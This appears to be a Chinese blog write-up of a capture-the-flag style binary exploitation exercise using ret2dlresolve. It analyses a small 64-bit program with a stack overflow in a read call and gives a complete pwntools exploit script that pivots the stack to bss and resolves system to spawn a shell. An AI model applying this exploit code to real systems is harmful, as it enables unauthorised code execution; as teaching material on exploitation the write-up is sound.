389 字
1 分钟
ret2dlrsolve
ret2dlrsolve
对于 Linux 程序的调用,一般来说,程序会调用 dl_runtime_resolve(link_map_obj, reloc_offset) 函数来对动态连接的函数进行从定位,相比较于ret2libc,
ret2dlresolve,的应用更加灵活,限制更少,但是应用复杂度更高,而且受限于 RELRO 即 got.plt. 是否可读可写属性。
例题
将程序拖入ida,发现程序只有一次 0x200 的溢出,但是程序中并没有什么有用的函数,同时程序的保护只开了 NX,于是考虑使用 ret2dlresolve 来调用 system 函数。
int __fastcall main(int argc, const char **argv, const char **envp){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); vuln(); return 0;}
ssize_t vuln(){ _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
return read(0, buf, 0x200u);}通过分析发现,程序中不能使用 ROPgadget直接获取控制rdi,的方法,所以我们需要找到其他办法来获取控制rdi的方法,于是通过分析vuln函数的汇编我们可以发现
vuln ; __unwind {vuln endbr64vuln+4 push rbpvuln+5 mov rbp, rspvuln+8 sub rsp, 40hvuln+C lea rax, [rbp+buf]vuln+10 mov edx, 200h ; nbytesvuln+15 mov rsi, rax ; bufvuln+18 mov edi, 0 ; fdvuln+1D call _readvuln+22 nopvuln+23 leavevuln+24 retnvuln+24 ; } // starts at 401156
main main proc near ; DATA XREF: _start+18↑omain ; __unwind {main endbr64main+4 push rbpmain+5 mov rbp, rspmain+8 mov rax, cs:stdoutmain+F mov ecx, 0 ; nmain+14 mov edx, 2 ; modesmain+19 mov esi, 0 ; bufmain+1E mov rdi, rax ; streammain+21 call _setvbufmain+26 mov rax, cs:stdin@GLIBC_2_2_5main+2D mov ecx, 0 ; nmain+32 mov edx, 2 ; modesmain+37 mov esi, 0 ; bufmain+3C mov rdi, rax ; streammain+3F call _setvbufmain+44 mov eax, 0main+49 call vulnmain+4E mov eax, 0main+53 pop rbpmain+54 retnmain+54 ; } // starts at 40117Bstdout 位于 bss 段可以控制,同时 rax 的地址 最终会赋值到rdi,所以我们可以通过一次栈迁移达到bss段,然后控制stdout的值然后间接控制rax的值,从而控制rdi的值。 让从而实现任意地址的写,之后可以伪造 _dl_runtime 相关的结构体到bss段的较高位然后执行ret2dlresolve。
于是得到如下 exp
from pwn import *
FILE = "./vuln"context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = elf.libcrop = ROP(elf)
p = process("./vuln")
readAddr = elf.sym["vuln"] + 0xCpayload = flat( { 0x40: elf.sym["stdout"] + 0x40, # rbp 0x48: readAddr, # read, }, filler = b"\x00")# raw_input("DEBUG")p.sendline(payload)
# 构造dlrsolve的结构体dlresolve = Ret2dlresolvePayload( elf = elf, symbol = "system", args = [], resolution_addr = elf.got["setvbuf"], data_addr = 0x404070)
payload = flat( { 0x0: elf.sym["stdout"] + 0x8, # 由于这个地址指向的是实际的地址,所以需要使用这个地址作为跳板,得到真正的 bin/sh\x00 0x8: b"/bin/sh\x00", 0x40: elf.bss() + 0xee0 + 0x40, # read 的时候会减去0x40 0x48: readAddr, # read, 0x50: dlresolve.payload }, filler = b"\x00")
raw_input("DEBUG")p.sendline(payload)rop.ret2dlresolve(dlresolve)p.success(rop.dump())
payload = flat( { 0x48: rop.chain(), 0x58: rop.ret.address, 0x60: elf.sym["main"] }, filler = b"\x00")raw_input(f"DEBUG: pwndbg -p {p.pid}")p.sendline(payload)p.interactive()总结
总结: ret2dlrsolve 成功的前提: 需要构造伪造的 .dynamic 结构(ElfSym、ElfRel、字符串等) 使用 pwntool 自动构建 必须是 Partial RELRO或者更宽松的限制,因为需要修改 .got.plt 或使用其结构
分享
如果这篇文章对你有帮助,欢迎分享给更多人!
ret2dlrsolve
https://yoyolp.github.io/posts/other/ret2dlrslove/ 部分信息可能已经过时
相关文章 智能推荐










